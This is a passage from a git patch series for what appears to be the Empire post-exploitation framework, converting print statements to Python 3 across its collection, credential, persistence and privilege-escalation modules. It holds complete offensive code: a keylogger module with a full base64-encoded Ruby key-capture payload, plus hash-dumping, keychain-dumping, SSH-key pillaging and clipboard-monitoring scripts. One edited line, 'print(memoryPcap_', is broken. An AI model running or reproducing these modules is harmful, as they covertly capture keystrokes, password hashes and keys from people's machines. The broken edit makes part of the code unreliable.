NoYXIgIT0gIiINCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlDQogICAgICAgIGVuZA0KICAgICAgZW5kDQogICAgZWxzZQ0KICAgICAgcHJldl9kb3duW2tdID0gZmFsc2UNCiAgICBlbmQNCiAgZW5kDQogIGlmIGFzY2lpICE9IDAgb3IgY3RybGNoYXIgIT0gIiINCiAgICBpZiBhcHBfbmFtZSAhPSBsYXN0V2luZG93DQogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiINCiAgICAgIGxhc3RXaW5kb3cgPSBhcHBfbmFtZQ0KICAgIGVuZA0KICAgIGlmIGN0cmxjaGFyICE9ICIiDQogICAgICBwcmludCAiI3tjdHJsY2hhcn0iDQogICAgZWxzaWYgYXNjaWkgPiAzMiBhbmQgYXNjaWkgPCAxMjcNCiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kDQogICAgICBwcmludCAiI3tjfSINCiAgICBlbHNlDQogICAgICBwcmludCAiWyN7YXNjaWl9XSINCiAgICBlbmQNCiAgICAkc3Rkb3V0LmZsdXNoDQogIGVuZA0KICBLZXJuZWwuc2xlZXAoMC4wMSkNCmVuZA0KDQo=\\\'))" | ruby > %s 2>&1 &').read() time.sleep(1) pids = os.popen('ps aux | grep " ruby" | grep -v grep').read() -print pids -print "kill ruby PID and download %s when completed" +print(pids) +print("kill ruby PID and download %s when completed") """ % (logFile, logFile) return script diff --git a/lib/modules/python/collection/osx/pillage_user.py b/lib/modules/python/collection/osx/pillage_user.py index c6ef83692..e61269e7d 100644 --- a/lib/modules/python/collection/osx/pillage_user.py +++ b/lib/modules/python/collection/osx/pillage_user.py @@ -139,7 +139,7 @@ def downloadFile(path): for sshFile in sshFiles: downloadFile('~/.ssh/' + sshFile) -print "pillaging complete, if login.keychain recovered, use chainbreaker with the user password" +print("pillaging complete, if login.keychain recovered, use chainbreaker with the user password") """ % {'sleep': sleep, 'allUsers': allUsers} return script diff --git a/lib/modules/python/collection/osx/screenshot.py b/lib/modules/python/collection/osx/screenshot.py index ae005e66d..dc087b2cf 100644 --- a/lib/modules/python/collection/osx/screenshot.py +++ b/lib/modules/python/collection/osx/screenshot.py @@ -81,7 +81,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): data = f.read() f.close() run_command('rm -f %s') -print data +print(data) """ % (savePath, savePath, savePath) return script diff --git a/lib/modules/python/privesc/linux/linux_priv_checker.py b/lib/modules/python/privesc/linux/linux_priv_checker.py index fdad9345f..08c1ab8d4 100644 --- a/lib/modules/python/privesc/linux/linux_priv_checker.py +++ b/lib/modules/python/privesc/linux/linux_priv_checker.py @@ -433,9 +433,8 @@ def writeResults(msg, results): for exploit in avgprob: print " - " + exploit - print - print "Finished" - print bigline + print("Finished") + print(bigline) callFunctionLinux() From 6550dd254551e5e21e74925d0f66142af23ed9c9 Mon Sep 17 00:00:00 2001 From: Cx01N Date: Mon, 13 Apr 2020 19:29:20 -0400 Subject: [PATCH 03/14] more python3 print statement fixes --- lib/common/empire.py | 10 +- .../credentials/get_lapspasswords.py | 2 +- .../python/collection/linux/hashdump.py | 2 +- .../python/collection/linux/keylogger.py | 4 +- .../python/collection/linux/pillage_user.py | 6 +- .../python/collection/linux/sniffer.py | 6 +- .../python/collection/osx/clipboard.py | 6 +- lib/modules/python/collection/osx/hashdump.py | 4 +- .../python/collection/osx/imessage_dump.py | 2 +- .../python/collection/osx/keychaindump.py | 4 +- .../osx/keychaindump_chainbreaker.py | 296 ++++++------ .../python/collection/osx/osx_mic_record.py | 2 +- lib/modules/python/collection/osx/prompt.py | 8 +- .../collection/osx/screensaver_alleyoop.py | 6 +- lib/modules/python/collection/osx/sniffer.py | 52 +-- lib/modules/python/collection/osx/webcam.py | 2 +- lib/modules/python/exploit/web/jboss_jmx.py | 6 +- .../lateral_movement/multi/ssh_command.py | 4 +- .../lateral_movement/multi/ssh_launcher.py | 4 +- .../management/multi/kerberos_inject.py | 20 +- .../management/osx/shellcodeinject64.py | 16 +- .../python/persistence/multi/crontab.py | 23 +- .../python/persistence/multi/desktopfile.py | 8 +- .../python/persistence/osx/CreateHijacker.py | 432 ------------------ .../python/persistence/osx/LaunchAgent.py | 4 +- .../osx/LaunchAgentUserLandPersistence.py | 2 +- .../persistence/osx/RemoveLaunchAgent.py | 4 +- .../python/persistence/osx/loginhook.py | 20 +- lib/modules/python/persistence/osx/mail.py | 7 +- .../privesc/linux/linux_priv_checker.py | 50 +- .../host/multi/SuidGuidSearch.py | 2 +- .../host/multi/WorldWriteableFileSearch.py | 2 +- .../host/osx/HijackScanner.py | 24 +- .../host/osx/situational_awareness.py | 80 ++-- .../active_directory/dscl_get_groupmembers.py | 2 +- .../active_directory/dscl_get_groups.py | 2 +- .../active_directory/dscl_get_users.py | 2 +- .../network/active_directory/get_computers.py | 4 +- .../active_directory/get_domaincontrollers.py | 4 +- .../active_directory/get_fileservers.py | 10 +- .../active_directory/get_groupmembers.py | 4 +- .../active_directory/get_groupmemberships.py | 4 +- .../network/active_directory/get_groups.py | 4 +- .../network/active_directory/get_ous.py | 4 +- .../active_directory/get_userinformation.py | 4 +- .../network/active_directory/get_users.py | 6 +- .../network/dcos/chronos_api_add_job.py | 4 +- .../dcos/marathon_api_create_start_app.py | 8 +- .../network/find_fruit.py | 12 +- .../network/gethostbyname.py | 4 +- .../network/http_rest_api.py | 6 +- .../network/port_scan.py | 12 +- .../network/smb_mount.py | 16 +- .../trollsploit/osx/change_background.py | 12 +- .../python/trollsploit/osx/login_message.py | 10 +- .../python/trollsploit/osx/thunderstruck.py | 6 +- 56 files changed, 413 insertions(+), 847 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 59f5c98e2..8a9c410f3 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -3079,7 +3079,7 @@ def do_lostlimit(self, line): if lostLimit == "": # task the agent to display the lostLimit - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print 'lostLimit = ' + str(lostLimit)") + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print('lostLimit = ' + str(lostLimit))") # dispatch this event message = "[*] Tasked agent to display lost limit" @@ -3095,7 +3095,7 @@ def do_lostlimit(self, line): self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID) # task the agent with the new lostLimit - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit)) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print('lostLimit set to %s')"%(lostLimit, lostLimit)) # dispatch this event message = "[*] Tasked agent to change lost limit {}".format(lostLimit) @@ -3119,7 +3119,7 @@ def do_killdate(self, line): if killDate == "": # task the agent to display the killdate - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print 'killDate = ' + str(killDate)") + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print('killDate = ' + str(killDate))") # dispatch this event message = "[*] Tasked agent to display killDate" @@ -3135,7 +3135,7 @@ def do_killdate(self, line): self.mainMenu.agents.set_agent_field_db("kill_date", killDate, self.sessionID) # task the agent with the new killDate - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate)) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print('killDate set to %s')" % (killDate, killDate)) # dispatch this event message = "[*] Tasked agent to set killDate to {}".format(killDate) @@ -3157,7 +3157,7 @@ def do_workinghours(self, line): hours = parts[0] if hours == "": - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print 'workingHours = ' + str(workingHours)") + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print('workingHours = ' + str(workingHours))") # dispatch this event message = "[*] Tasked agent to get working hours" diff --git a/lib/modules/powershell/credentials/get_lapspasswords.py b/lib/modules/powershell/credentials/get_lapspasswords.py index 6a78845be..5abfcdd2c 100644 --- a/lib/modules/powershell/credentials/get_lapspasswords.py +++ b/lib/modules/powershell/credentials/get_lapspasswords.py @@ -50,7 +50,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): try: f = open(moduleSource, 'r') except: - print (helpers.color("[!] Could not read module source path at: " + str(moduleSource))) + print(helpers.color("[!] Could not read module source path at: " + str(moduleSource))) return "" moduleCode = f.read() f.close() diff --git a/lib/modules/python/collection/linux/hashdump.py b/lib/modules/python/collection/linux/hashdump.py index ca1caa6e8..34a58cf67 100644 --- a/lib/modules/python/collection/linux/hashdump.py +++ b/lib/modules/python/collection/linux/hashdump.py @@ -89,7 +89,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): username = parts[0] info = ":".join(parts[2:]) if username in users: - print "%s:%s:%s" %(username, users[username], info) + print("%s:%s:%s" %(username, users[username], info)) """ return script diff --git a/lib/modules/python/collection/linux/keylogger.py b/lib/modules/python/collection/linux/keylogger.py index bb323d9e4..8f356e78d 100644 --- a/lib/modules/python/collection/linux/keylogger.py +++ b/lib/modules/python/collection/linux/keylogger.py @@ -80,8 +80,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): output = os.popen('echo "require \\\'base64\\\';eval(Base64.decode64(\\\'cmVxdWlyZSAndGhyZWFkJwpyZXF1aXJlICdkbCcKcmVxdWlyZSAnZGwvaW1wb3J0JwpJbXBvcnRlciA9IGlmIGRlZmluZWQ/KERMOjpJbXBvcnRlcikgdGhlbiBETDo6SW1wb3J0ZXIgZWxzZSBETDo6SW1wb3J0YWJsZSBlbmQKZGVmIHJ1YnlfMV85X29yX2hpZ2hlcj8KICBSVUJZX1ZFUlNJT04udG9fZiA+PSAxLjkKZW5kCmRlZiBtYWxsb2Moc2l6ZSkKICBpZiBydWJ5XzFfOV9vcl9oaWdoZXI/CiAgICBETDo6Q1B0ci5tYWxsb2Moc2l6ZSkKICBlbHNlCiAgICBETDo6bWFsbG9jKHNpemUpCiAgZW5kCmVuZAppZiBub3QgcnVieV8xXzlfb3JfaGlnaGVyPwogIG1vZHVsZSBETAogICAgbW9kdWxlIEltcG9ydGFibGUKICAgICAgZGVmIG1ldGhvZF9taXNzaW5nKG1ldGgsICphcmdzLCAmYmxvY2spCiAgICAgICAgc3RyID0gbWV0aC50b19zCiAgICAgICAgbG93ZXIgPSBzdHJbMCwxXS5kb3duY2FzZSArIHN0clsxLi4tMV0KICAgICAgICBpZiBzZWxmLnJlc3BvbmRfdG8/IGxvd2VyCiAgICAgICAgICBzZWxmLnNlbmQgbG93ZXIsICphcmdzCiAgICAgICAgZWxzZQogICAgICAgICAgc3VwZXIKICAgICAgICBlbmQKICAgICAgZW5kCiAgICBlbmQKICBlbmQKZW5kClNNX0tDSFJfQ0FDSEUgPSAzOApTTV9DVVJSRU5UX1NDUklQVCA9IC0yCk1BWF9BUFBfTkFNRSA9IDgwCm1vZHVsZSBDYXJib24KICBleHRlbmQgSW1wb3J0ZXIKICBkbGxvYWQgJy9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL0NhcmJvbi5mcmFtZXdvcmsvQ2FyYm9uJwogIGV4dGVybiAndW5zaWduZWQgbG9uZyBDb3B5UHJvY2Vzc05hbWUoY29uc3QgUHJvY2Vzc1NlcmlhbE51bWJlciAqLCB2b2lkICopJwogIGV4dGVybiAndm9pZCBHZXRGcm9udFByb2Nlc3MoUHJvY2Vzc1NlcmlhbE51bWJlciAqKScKICBleHRlcm4gJ3ZvaWQgR2V0S2V5cyh2b2lkICopJwogIGV4dGVybiAndW5zaWduZWQgY2hhciAqR2V0U2NyaXB0VmFyaWFibGUoaW50LCBpbnQpJwogIGV4dGVybiAndW5zaWduZWQgY2hhciBLZXlUcmFuc2xhdGUodm9pZCAqLCBpbnQsIHZvaWQgKiknCiAgZXh0ZXJuICd1bnNpZ25lZCBjaGFyIENGU3RyaW5nR2V0Q1N0cmluZyh2b2lkICosIHZvaWQgKiwgaW50LCBpbnQpJwogIGV4dGVybiAnaW50IENGU3RyaW5nR2V0TGVuZ3RoKHZvaWQgKiknCmVuZApwc24gPSBtYWxsb2MoMTYpCm5hbWUgPSBtYWxsb2MoMTYpCm5hbWVfY3N0ciA9IG1hbGxvYyhNQVhfQVBQX05BTUUpCmtleW1hcCA9IG1hbGxvYygxNikKc3RhdGUgPSBtYWxsb2MoOCkKaXR2X3N0YXJ0ID0gVGltZS5ub3cudG9faQpwcmV2X2Rvd24gPSBIYXNoLm5ldyhmYWxzZSkKbGFzdFdpbmRvdyA9ICIiCndoaWxlICh0cnVlKSBkbwogIENhcmJvbi5HZXRGcm9udFByb2Nlc3MocHNuLnJlZikKICBDYXJib24uQ29weVByb2Nlc3NOYW1lKHBzbi5yZWYsIG5hbWUucmVmKQogIENhcmJvbi5HZXRLZXlzKGtleW1hcCkKICBzdHJfbGVuID0gQ2FyYm9uLkNGU3RyaW5nR2V0TGVuZ3RoKG5hbWUpCiAgY29waWVkID0gQ2FyYm9uLkNGU3RyaW5nR2V0Q1N0cmluZyhuYW1lLCBuYW1lX2NzdHIsIE1BWF9BUFBfTkFNRSwgMHgwODAwMDEwMCkgPiAwCiAgYXBwX25hbWUgPSBpZiBjb3BpZWQgdGhlbiBuYW1lX2NzdHIudG9fcyBlbHNlICdVbmtub3duJyBlbmQKICBieXRlcyA9IGtleW1hcC50b19zdHIKICBjYXBfZmxhZyA9IGZhbHNlCiAgYXNjaWkgPSAwCiAgY3RybGNoYXIgPSAiIgogICgwLi4uMTI4KS5lYWNoIGRvIHxrfAogICAgaWYgKChieXRlc1trPj4zXS5vcmQgPj4gKGsmNykpICYgMSA+IDApCiAgICAgIGlmIG5vdCBwcmV2X2Rvd25ba10KICAgICAgICBjYXNlIGsKICAgICAgICAgIHdoZW4gMzYKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2VudGVyXSIKICAgICAgICAgIHdoZW4gNDgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW3RhYl0iCiAgICAgICAgICB3aGVuIDQ5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIiAiCiAgICAgICAgICB3aGVuIDUxCiAgICAgICAgICAgIGN0cmxjaGFyID0gIltkZWxldGVdIgogICAgICAgICAgd2hlbiA1MwogICAgICAgICAgICBjdHJsY2hhciA9ICJbZXNjXSIKICAgICAgICAgIHdoZW4gNTUKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2NtZF0iCiAgICAgICAgICB3aGVuIDU2CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltzaGlmdF0iCiAgICAgICAgICB3aGVuIDU3CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjYXBzXSIKICAgICAgICAgIHdoZW4gNTgKICAgICAgICAgICAgY3RybGNoYXIgPSAiW29wdGlvbl0iCiAgICAgICAgICB3aGVuIDU5CiAgICAgICAgICAgIGN0cmxjaGFyID0gIltjdHJsXSIKICAgICAgICAgIHdoZW4gNjMKICAgICAgICAgICAgY3RybGNoYXIgPSAiW2ZuXSIKICAgICAgICAgIGVsc2UKICAgICAgICAgICAgY3RybGNoYXIgPSAiIgogICAgICAgIGVuZAogICAgICAgIGlmIGN0cmxjaGFyID09ICIiIGFuZCBhc2NpaSA9PSAwCiAgICAgICAgICBrY2hyID0gQ2FyYm9uLkdldFNjcmlwdFZhcmlhYmxlKFNNX0tDSFJfQ0FDSEUsIFNNX0NVUlJFTlRfU0NSSVBUKQogICAgICAgICAgY3Vycl9hc2NpaSA9IENhcmJvbi5LZXlUcmFuc2xhdGUoa2Nociwgaywgc3RhdGUpCiAgICAgICAgICBjdXJyX2FzY2lpID0gY3Vycl9hc2NpaSA+PiAxNiBpZiBjdXJyX2FzY2lpIDwgMQogICAgICAgICAgcHJldl9kb3duW2tdID0gdHJ1ZQogICAgICAgICAgaWYgY3Vycl9hc2NpaSA9PSAwCiAgICAgICAgICAgIGNhcF9mbGFnID0gdHJ1ZQogICAgICAgICAgZWxzZQogICAgICAgICAgICBhc2NpaSA9IGN1cnJfYXNjaWkKICAgICAgICAgIGVuZAogICAgICAgIGVsc2lmIGN0cmxjaGFyICE9ICIiCiAgICAgICAgICBwcmV2X2Rvd25ba10gPSB0cnVlCiAgICAgICAgZW5kCiAgICAgIGVuZAogICAgZWxzZQogICAgICBwcmV2X2Rvd25ba10gPSBmYWxzZQogICAgZW5kCiAgZW5kCiAgaWYgYXNjaWkgIT0gMCBvciBjdHJsY2hhciAhPSAiIgogICAgaWYgYXBwX25hbWUgIT0gbGFzdFdpbmRvdwogICAgICBwdXRzICJcblxuWyN7YXBwX25hbWV9XSAtIFsje1RpbWUubm93fV1cbiIKICAgICAgbGFzdFdpbmRvdyA9IGFwcF9uYW1lCiAgICBlbmQKICAgIGlmIGN0cmxjaGFyICE9ICIiCiAgICAgIHByaW50ICIje2N0cmxjaGFyfSIKICAgIGVsc2lmIGFzY2lpID4gMzIgYW5kIGFzY2lpIDwgMTI3CiAgICAgIGMgPSBpZiBjYXBfZmxhZyB0aGVuIGFzY2lpLmNoci51cGNhc2UgZWxzZSBhc2NpaS5jaHIgZW5kCiAgICAgIHByaW50ICIje2N9IgogICAgZWxzZQogICAgICBwcmludCAiWyN7YXNjaWl9XSIKICAgIGVuZAogICAgJHN0ZG91dC5mbHVzaAogIGVuZAogIEtlcm5lbC5zbGVlcCgwLjAxKQplbmQK\\\'))" | ruby > %s &').read() time.sleep(1) pids = os.popen('ps aux | grep " ruby" | grep -v grep').read() -print pids -print "kill ruby PID and download %s when completed" +print(pids) +print("kill ruby PID and download %s when completed") """ % (logFile, logFile) return script diff --git a/lib/modules/python/collection/linux/pillage_user.py b/lib/modules/python/collection/linux/pillage_user.py index 928cad8d2..12db053e9 100644 --- a/lib/modules/python/collection/linux/pillage_user.py +++ b/lib/modules/python/collection/linux/pillage_user.py @@ -130,7 +130,7 @@ def downloadFile(path): for userPath in userPaths: for searchPath in searchPaths: #downloadFile(userPath + searchPath) - print userPath + searchPath + print(userPath + searchPath) # grab all .ssh files filePath = os.path.expanduser(userPath + '/.ssh/') @@ -138,9 +138,9 @@ def downloadFile(path): sshFiles = [f for f in os.listdir(filePath) if os.path.isfile(os.path.join(filePath, f))] for sshFile in sshFiles: # downloadFile(userPath + '/.ssh/' + sshFile) - print userPath + '/.ssh/' + sshFile + print(userPath + '/.ssh/' + sshFile) -print "pillaging complete" +print("pillaging complete") """ % {'sleep': sleep, 'allUsers': allUsers} return script diff --git a/lib/modules/python/collection/linux/sniffer.py b/lib/modules/python/collection/linux/sniffer.py index 797101e09..a277715c8 100644 --- a/lib/modules/python/collection/linux/sniffer.py +++ b/lib/modules/python/collection/linux/sniffer.py @@ -260,15 +260,15 @@ def socketSniffer(fileName,ipFilter,portFilter,maxSize, maxPackets, inMemory): packetCounter += 1 try: if inMemory: - print memoryPcap + print(memoryPcap_ else: f = open('%s', 'rb') data = base64.b64encode(f.read()) f.close() run_command('rm -f %s') - print data + print(data) except Exception as e: - print e + print(e) fileNameSave = '%s' ipFilter = %s diff --git a/lib/modules/python/collection/osx/clipboard.py b/lib/modules/python/collection/osx/clipboard.py index 737dd9c07..50762d5f6 100644 --- a/lib/modules/python/collection/osx/clipboard.py +++ b/lib/modules/python/collection/osx/clipboard.py @@ -107,16 +107,16 @@ def func(monitortime=0): f = file(outFile, 'a+') f.write(pbstring) f.close() - print "clipboard written to",outFile + print("clipboard written to",outFile) else: ts = time.time() st = datetime.datetime.fromtimestamp(ts).strftime('%%Y-%%m-%%d %%H:%%M:%%S') - print st + ": %%s".encode("utf-8") %% repr(pbstring) + print(st + ": %%s".encode("utf-8") %% repr(pbstring)) last = pbstring time.sleep(1) sleeptime += 1 except Exception as e: - print e + print(e) func(monitortime=%s)""" % (outFile,monitorTime) diff --git a/lib/modules/python/collection/osx/hashdump.py b/lib/modules/python/collection/osx/hashdump.py index d8f52b85e..c91a7c3ce 100644 --- a/lib/modules/python/collection/osx/hashdump.py +++ b/lib/modules/python/collection/osx/hashdump.py @@ -95,7 +95,7 @@ def getUserHash(userName): return (userName, "$ml$%s$%s$%s" %(iterations, saltHex, entropyHex)) except Exception as e: - print "getUserHash() exception: %s" %(e) + print("getUserHash() exception: %s" %(e)) pass @@ -107,7 +107,7 @@ def getUserHash(userName): if(userHash): userHashes.append(getUserHash(userName)) -print userHashes +print(userHashes) """ return script diff --git a/lib/modules/python/collection/osx/imessage_dump.py b/lib/modules/python/collection/osx/imessage_dump.py index c8817782e..f24bf0dd6 100644 --- a/lib/modules/python/collection/osx/imessage_dump.py +++ b/lib/modules/python/collection/osx/imessage_dump.py @@ -178,7 +178,7 @@ def func(self, count, searchMessage, debug, searchPhrase): if debug: print(" [Debug] Isssue at object creation (line 40): " + str(e)) pass - #print e + print(e) conn.close() x = 0 for dic in dictList: diff --git a/lib/modules/python/collection/osx/keychaindump.py b/lib/modules/python/collection/osx/keychaindump.py index 89b9f50da..1cc6c04e7 100644 --- a/lib/modules/python/collection/osx/keychaindump.py +++ b/lib/modules/python/collection/osx/keychaindump.py @@ -91,9 +91,9 @@ def generate(self, obfuscate=False, obfuscationCommand=""): f.close() os.popen('chmod a+x %sdebug') if "%s" != "": - print os.popen('%sdebug "%s"').read() + print(os.popen('%sdebug "%s"').read()) else: - print os.popen('%sdebug').read() + print(os.popen('%sdebug').read()) os.popen('rm -f %sdebug') """ % (tempDir, tempDir, keyChain, tempDir, keyChain, tempDir, tempDir) diff --git a/lib/modules/python/collection/osx/keychaindump_chainbreaker.py b/lib/modules/python/collection/osx/keychaindump_chainbreaker.py index 0cfb9e4c0..13c00b052 100644 --- a/lib/modules/python/collection/osx/keychaindump_chainbreaker.py +++ b/lib/modules/python/collection/osx/keychaindump_chainbreaker.py @@ -443,8 +443,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): data = "Please encrypt my string" k = des("DESCRYPT", " ", CBC, "\0\0\0\0\0\0\0\0") d = k.encrypt(data) -print "Encypted string: " + d -print "Decypted string: " + k.decrypt(d) +print("Encypted string: " + d) +print("Decypted string: " + k.decrypt(d)) See the module source (pyDes.py) for more examples of use. You can slo run the pyDes.py file without and arguments to see a simple test. @@ -678,7 +678,7 @@ def __BitList_to_String(self, data): def __permutate(self, table, block): '''Permutate this block with the specified table''' - return map(lambda x: block[x], table) + return [block[x] for x in table] # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] @@ -731,7 +731,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here - self.R = map(lambda x, y: x ^ y, self.R, self.Kn[iteration]) + self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above @@ -768,7 +768,7 @@ def __des_crypt(self, block, crypt_type): self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] - self.R = map(lambda x, y: x ^ y, self.R, self.L) + self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) # Optimization: This now replaces the below commented code #j = 0 #while j < len(self.R): @@ -831,7 +831,7 @@ def crypt(self, data, crypt_type): # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: - block = map(lambda x, y: x ^ y, block, iv) + block = list(map(lambda x, y: x ^ y, block, iv)) #j = 0 #while j < len(block): # block[j] = block[j] ^ iv[j] @@ -840,7 +840,7 @@ def crypt(self, data, crypt_type): processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: - processed_block = map(lambda x, y: x ^ y, processed_block, iv) + processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] @@ -1064,65 +1064,65 @@ def example_triple_des(): from binascii import unhexlify as unhex # example shows triple-des encryption using the des class - print "Example of triple DES encryption in default ECB mode (DES-EDE3)\n" + print("Example of triple DES encryption in default ECB mode (DES-EDE3)\n") - print "Triple des using the des class (3 times)" + print("Triple des using the des class (3 times)") t = time() k1 = des(unhex("133457799BBCDFF1")) k2 = des(unhex("1122334455667788")) k3 = des(unhex("77661100DD223311")) d = "Triple DES test string, to be encrypted and decrypted..." - print "Key1: %s" % k1.getKey() - print "Key2: %s" % k2.getKey() - print "Key3: %s" % k3.getKey() - print "Data: %s" % d + print("Key1: %s" % k1.getKey()) + print("Key2: %s" % k2.getKey()) + print("Key3: %s" % k3.getKey()) + print("Data: %s" % d) e1 = k1.encrypt(d) e2 = k2.decrypt(e1) e3 = k3.encrypt(e2) - print "Encrypted: " + e3 + print("Encrypted: " + e3) d3 = k3.decrypt(e3) d2 = k2.encrypt(d3) d1 = k1.decrypt(d2) - print "Decrypted: " + d1 - print "DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8)) - print "" + print("Decrypted: " + d1) + print("DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))) + print("") # Example below uses the triple-des class to achieve the same as above - print "Now using triple des class" + print("Now using triple des class") t = time() t1 = triple_des(unhex("133457799BBCDFF1112233445566778877661100DD223311")) - print "Key: %s" % t1.getKey() - print "Data: %s" % d + print("Key: %s" % t1.getKey()) + print("Data: %s" % d) td1 = t1.encrypt(d) - print "Encrypted: " + td1 + print("Encrypted: " + td1) td2 = t1.decrypt(td1) - print "Decrypted: " + td2 + print("Decrypted: " + td2) - print "Triple DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8)) + print("Triple DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))) def example_des(): from time import time # example of DES encrypting in CBC mode with the IV of "\0\0\0\0\0\0\0\0" - print "Example of DES encryption using CBC mode\n" + print("Example of DES encryption using CBC mode\n") t = time() k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0") data = "DES encryption algorithm" - print "Key : " + k.getKey() - print "Data : " + data + print("Key : " + k.getKey()) + print("Data : " + data) d = k.encrypt(data) - print "Encrypted: " + d + print("Encrypted: " + d) d = k.decrypt(d) - print "Decrypted: " + d - print "DES time taken: %f (6 crypt operations)" % (time() - t) - print "" + print("Decrypted: " + d) + print("DES time taken: %f (6 crypt operations)" % (time() - t)) + print("") def __test__(): @@ -1136,44 +1136,44 @@ def __fulltest__(): from binascii import hexlify as dohex __test__() - print "" + print("") k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") d = k.encrypt("DES encryption algorithm") if k.decrypt(d) != "DES encryption algorithm": - print "Test 1 Error: Unencypted data block does not match start data" + print("Test 1 Error: Unencypted data block does not match start data") k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") d = k.encrypt("Default string of text", '*') if k.decrypt(d, "*") != "Default string of text": - print "Test 2 Error: Unencypted data block does not match start data" + print("Test 2 Error: Unencypted data block does not match start data") k = des("\r\n\tABC\r\n") d = k.encrypt("String to Pad", '*') if k.decrypt(d) != "String to Pad***": - print "'%s'" % k.decrypt(d) - print "Test 3 Error: Unencypted data block does not match start data" + print("'%s'" % k.decrypt(d)) + print("Test 3 Error: Unencypted data block does not match start data") k = des("\r\n\tABC\r\n") d = k.encrypt(unhex("000102030405060708FF8FDCB04080"), unhex("44")) if k.decrypt(d, unhex("44")) != unhex("000102030405060708FF8FDCB04080"): - print "Test 4a Error: Unencypted data block does not match start data" + print("Test 4a Error: Unencypted data block does not match start data") if k.decrypt(d) != unhex("000102030405060708FF8FDCB0408044"): - print "Test 4b Error: Unencypted data block does not match start data" + print("Test 4b Error: Unencypted data block does not match start data") k = triple_des("MyDesKey\r\n\tABC\r\n0987*543") d = k.encrypt(unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) if k.decrypt(d) != unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): - print "Test 5 Error: Unencypted data block does not match start data" + print("Test 5 Error: Unencypted data block does not match start data") k = triple_des("\r\n\tABC\r\n0987*543") d = k.encrypt(unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) if k.decrypt(d) != unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): - print "Test 6 Error: Unencypted data block does not match start data" + print("Test 6 Error: Unencypted data block does not match start data") def __filetest__(): @@ -1195,7 +1195,7 @@ def __filetest__(): f = open("pyDes.py.dec", "wb+") f.write(d) f.close() - print "DES file test time: %f" % (time() - t) + print("DES file test time: %f" % (time() - t)) def __profile__(): @@ -1277,8 +1277,8 @@ def test(): itercount = 500 keylen = 16 ret = 